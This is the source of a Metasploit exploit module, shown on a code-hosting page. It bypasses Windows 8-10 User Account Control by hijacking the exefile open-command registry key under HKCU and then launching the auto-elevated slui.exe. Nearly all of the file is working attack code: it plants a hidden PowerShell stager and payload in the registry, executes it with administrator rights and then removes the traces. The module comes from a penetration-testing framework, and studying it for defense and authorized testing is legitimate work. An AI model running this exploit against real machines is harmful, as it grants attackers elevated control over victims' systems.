Path: blob/master/modules/exploits/windows/local/bypassuac_sluihijack.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::Powershell9include Post::Windows::Priv10include Post::Windows::Registry11include Post::Windows::Runas1213SLUI_DEL_KEY = 'HKCU\\Software\\Classes\\exefile'.freeze14SLUI_WRITE_KEY = 'HKCU\\Software\\Classes\\exefile\\shell\\open\\command'.freeze15EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze16EXEC_REG_VAL = ''.freeze # This maps to "(Default)"17EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze18SLUI_PATH = '%WINDIR%\\System32\\slui.exe'.freeze19CMD_MAX_LEN = 163832021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',26'Description' => %q{27This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under28the Current User hive, and inserting a custom command that will get invoked when any binary29(.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable30to file handler hijacking. When we run slui.exe with changed Registry key31(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin32instead of slui.exe.3334The module modifies the registry in order for this exploit to work. The modification is35reverted once the exploitation attempt has finished.3637The module does not require the architecture of the payload to match the OS. If38specifying EXE::Custom your DLL should call ExitProcess() after starting the39payload in a different process.40},41'License' => MSF_LICENSE,42'Author' => [43'bytecode-77', # UAC bypass discovery and research44'gushmazuko', # MSF & PowerShell module45],46'Platform' => ['win'],47'SessionTypes' => ['meterpreter'],48'Targets' => [49['Windows x86', { 'Arch' => ARCH_X86 }],50['Windows x64', { 'Arch' => ARCH_X64 }]51],52'DefaultTarget' => 0,53'References' => [54['URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation'],55['URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1']56],57'DisclosureDate' => '2018-01-15',58'Compat' => {59'Meterpreter' => {60'Commands' => %w[61stdapi_sys_process_execute62]63}64},65'Notes' => {66'Reliability' => UNKNOWN_RELIABILITY,67'Stability' => UNKNOWN_STABILITY,68'SideEffects' => UNKNOWN_SIDE_EFFECTS69}70)71)72end7374def check75version = get_version_info76if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win10_1909)77CheckCode::Appears78else79CheckCode::Safe80end81end8283def exploit84# Validate that we can actually do things before we bother85# doing any more work86check_permissions!8788commspec = 'powershell'89registry_view = REGISTRY_VIEW_NATIVE90psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'9192# Make sure we have a sane payload configuration93if sysinfo['Architecture'] == ARCH_X6494if session.arch == ARCH_X8695# On x64, check arch96commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'97if target_arch.first == ARCH_X6498# We can't use absolute path here as99# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session100psh_path = 'powershell.exe'101end102end103if target_arch.first == ARCH_X86104# Invoking x86, so switch to SysWOW64105psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'106end107elsif target_arch.first == ARCH_X64108# if we're on x86, we can't handle x64 payloads109fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')110end111112if !payload.arch.empty? && (payload.arch.first != target_arch.first)113fail_with(Failure::BadConfig, 'payload and target should use the same architecture')114end115116case get_uac_level117when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,118UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,119UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT120fail_with(Failure::NotVulnerable,121"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")122when UAC_DEFAULT123print_good('UAC is set to Default')124print_good('BypassUAC can bypass this setting, continuing...')125when UAC_NO_PROMPT126print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')127shell_execute_exe128return129end130131payload_value = rand_text_alpha(8)132psh_path = expand_path(psh_path)133134template_path = Rex::Powershell::Templates::TEMPLATE_DIR135psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)136137if psh_payload.length > CMD_MAX_LEN138fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")139end140141psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""142cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"143144existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''145exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?146147if existing.empty?148registry_createkey(SLUI_WRITE_KEY, registry_view)149end150151print_status('Configuring payload and stager registry keys ...')152unless exist_delegate153registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)154end155156registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)157registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)158159# Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.160cmd_path = expand_path(commspec)161cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")162print_status("Executing payload: #{cmd_path} #{cmd_args}")163164# We can't use cmd_exec here because it blocks, waiting for a result.165client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)166167# Wait a copule of seconds to give the payload a chance to fire before cleaning up168# TODO: fix this up to use something smarter than a timeout?169sleep(3)170171handler(client)172173print_status('Cleaning up ...')174unless exist_delegate175registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)176end177if existing.empty?178registry_deletekey(SLUI_DEL_KEY, registry_view)179else180registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)181end182registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)183end184185def check_permissions!186unless check == Exploit::CheckCode::Appears187fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')188end189fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?190# Check if you are an admin191# is_in_admin_group can be nil, true, or false192print_status('UAC is Enabled, checking level...')193vprint_status('Checking admin status...')194admin_group = is_in_admin_group?195if admin_group.nil?196print_error('Either whoami is not there or failed to execute')197print_error('Continuing under assumption you already checked...')198elsif admin_group199print_good('Part of Administrators group! Continuing...')200else201fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')202end203204if get_integrity_level == INTEGRITY_LEVEL_SID[:low]205fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')206end207end208end209210211